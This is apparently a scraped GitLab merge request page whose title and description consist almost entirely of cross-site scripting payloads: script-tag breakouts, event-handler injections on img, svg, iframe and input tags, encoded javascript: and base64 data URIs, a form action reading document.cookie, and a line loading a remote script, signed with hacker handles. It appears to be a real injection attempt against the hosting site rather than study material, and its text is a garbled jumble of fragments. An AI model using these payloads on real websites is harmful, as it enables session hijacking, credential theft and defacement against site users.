Skip to content

"></style><script>a=eval;b=alert;a(b(/ xss fired/.source));</script>'">

Hunter Man requested to merge hunterdex/charts:patch-3 into master

';alert(/xss fired/)//';alert(/xss fired/)//";alert(/xss fired/)//";alert(/xss fired/)//-->">'> ""});});})'"-->>'">'">'">

'"R3NW4</ h1>'"

:;'"><)'"$ ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";</SCalert(String.fromCharCode(88String.fromCharCode(88, 115, 115, 32, 66, 121, 32, 72, 51, 65, 82, 84, 95, 66, 76, 51, 51, 68), 83, 83))RIPT>">'> javascript://%0Aalert(1) javascript://anything%0D%0A%0D%0Awindow.alert(1)

';alert(/xss fired)//';alert(1)//";alert(2)//";al+ert(3)//-->">'>=&{}");}aler+t(6);function+xss(){//&q=';alert(0)//';alert(1)//";alert(2)//";alert+(3)//-->">'+>=&{}");}alert(6+);function+xss(){// '|alert('xss fired')|' '*prompt('localhost:8000

"'/>><img+src=x onerror=prompt(/xss fired/)> --'">"/><sVG/_/R3NW4/OnLoaD="window['pr\u006fmp\u0074']///('XSS')";/> r3nw4"'/>><svg+onload=eval(location.hash.substr(1))>#\u0077hile(\u0074rue){pr\u006fmp\u0074(/XSS/)} ‘; alert(1); var foo=’ aXSS')> R3nw4_Kurdish_Hacker"><iframe/onload=alert('xss fired')>"><img src=x onerror=prompt('xss fired');>

" onfocus=alert(String.fromCharCode(88,83,83,80,79,83,69,68)) autofocus> "><svg/onload=document.location.href='https://localhost'> R3NW4"><svg/onload=document.location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='>

11111';\u006F\u006E\u0065rror=\u0063onfirm; throw'xss fired Click here

onmouseover=location='jav\x41script\x3Aalert\x28"MK"\x29' >xxx < 0xE + 0xF data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTUE9TRUQnKTwvc2NyaXB0Pg== data:text/html, javascript:"" click R3NW4">R3NW4 R3NW4 alert(1)">hola '"--><*2f*style><*2f*scRipt>='xss fired',alert()< /script>-r3nw4/ "--> %27%22%3E%3Csvg/onload=prompt%28/xss fired/%29%3E '"-->"'/>>

R3NW4 "< ">

R3NW4<script>alert(1)</script> \x22\x3E\x3C\x2Fscript\x 3E\x3Cscript src\x3Dhttps\x3A\x2F\x2Flocalhost:8000\x2F1.js\x3E ">

R3NW4



hackeralert('xss'); '"/>> x");$=alert, $('xss fired');// '"/>> #prettyPhoto[r3nw4]/1,/ #prettyPhoto[gallery]/1,/ "";<" ------------------------------------------------------------- XSS""","XML namespace."),("""<IMG SRC="javascript:javascript:alert(1)"> +ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- X







































@import'%(css)s'; a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');} && javascript:alert(1);

]]
test1 test1 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- > ">'> '';!--"=&{()} xxs link xxs link "> </style ><script :-(>//alert(document.location)//</script

�<input type="date" onfocus="alert(1)">

">{-o-link-source:'&lt;body/onload=confirm(1)&gt;'</p> <p data-sourcepos="184:1-185:6">&lt;blink/ onmouseover=prompt(1)&gt;OnMouseOver {Firefox &amp; Opera}</p> <p data-sourcepos="187:1-187:53"><marquee onstart='javascript:alert&#x28;1&#x29;'>^__^</p> <p data-sourcepos="189:1-189:55">&lt;div/style=&quot;width:expression(confirm(1))&quot;&gt;X</div> {IE7}</p> <p data-sourcepos="191:1-191:42">&lt;iframe/%00/ src=javaSCRIPT:alert(1)</p> <p data-sourcepos="193:1-193:94">//&lt;form/action=javascript:alert(document.cookie)&gt;&lt;input/type='submit'&gt;//</p> <p data-sourcepos="195:1-195:70">/<em data-sourcepos="195:2-195:13">iframe/src</em>/&lt;iframe/src=&quot;&lt;iframe/src=@&quot;/onload=prompt/<em data-sourcepos="195:57-195:68">iframe/src</em>/&gt;</p> <p data-sourcepos="197:1-197:85"></font>/<svg><style>{src:'&lt;style/onload=this.onload=confirm(1)&gt;'</font>/

<a/href="javascript: javascript:prompt(1)">

</plaintext></|><plaintext/onmouseover=prompt(1) On Mouse Over

Click Here

<img src="/" =_=" title="onerror='prompt(1)'">

<%

<iframe/src //onload = prompt(1)

<iframe/onreadystatechange=alert(1)

<svg/onload=alert(1)

<input value=<><iframe/src=javascript:confirm(1)

<input type="text" value=`` <div/onmouseover='alert(1)'>X

http://www.)</script .com

<body/onload=<!-->&#10alert(1)>

style="x:"> <--` --!>
x CLICKME "><img src=x onerror=alert(1);>

<--</a></script></svg><img src="" onerror="alert(1)"> --!>

xxs link

^__^

#

test

Merge request reports